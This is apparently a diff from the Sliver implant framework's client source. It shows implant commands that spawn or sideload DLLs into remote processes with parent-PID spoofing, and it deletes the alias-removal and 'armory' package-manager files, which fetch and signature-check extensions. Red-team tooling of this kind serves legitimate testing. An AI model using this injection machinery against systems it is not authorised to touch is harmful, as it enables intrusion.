PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
-75
View File
@@ -1,75 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveAliasByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing alias: %s\n", err)
return
} else {
con.PrintInfof("Alias '%s' removed\n", name)
}
}
// RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedAliases[commandName]; !ok {
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
err := os.RemoveAll(extPath)
if err != nil {
return err
}
return nil
}
-519
View File
@@ -1,519 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base64"
"errors"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
DisableTLSValidation bool
}
type indexCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(ctx)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else {
con.PrintInfof("No indexes found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
return aliases, exts
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
indexBundles := value.(indexCacheEntry).Index.Bundles
bundles = append(bundles, indexBundles...)
return true
})
return bundles
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
}
}
for _, bundle := range bundles {
if strings.HasPrefix(bundle.Name, prefix) {
results = append(results, bundle.Name)
}
}
return results
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
Type string
Help string
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
})
}
for _, extension := range exts {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.RepoURL,
})
}
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
// PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Name",
"Contains",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL := ctx.Flags.String("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout := ctx.Flags.String("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
if err != nil {
timeout = defaultTimeout
}
}
return ArmoryHTTPConfig{
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: ctx.Flags.Bool("insecure"),
}
}
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr == nil {
indexes = append(indexes, cacheEntry.Index)
}
return true
})
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
}()
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
armoryResult.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
return
}
var index *ArmoryIndex
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
index, err = indexParser(armoryConfig, clientConfig)
} else {
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
}
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
return
}
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
return
}
if sig != nil {
pkgCacheEntry.Sig = *sig
} else {
pkgCacheEntry.LastErr = errors.New("nil signature")
return
}
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
}
-1
View File
@@ -1 +0,0 @@
package armory
-309
View File
@@ -1,309 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading alias ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
}
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
if err != nil {
return err
}
return nil
}
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
if entry.Extension.DependsOn == "" {
return // Avoid adding empty dependency
}
if entry.Extension.DependsOn == name {
return // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[entry.Extension.DependsOn]; ok {
return // Already resolved
}
if maxDepDepth < len(deps) {
return
}
deps[entry.Extension.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading extension ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil {
return err
}
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
-500
View File
@@ -1,500 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
// ArmoryPackageParser - Generic interface to fetch armory package manifests
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
const (
armoryIndexFileName = "armory.json"
armoryIndexSigFileName = "armory.minisig"
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
return nil, err
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
err = json.Unmarshal(armoryIndexData, armoryIndex)
if err != nil {
return nil, err
}
return armoryIndex, nil
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
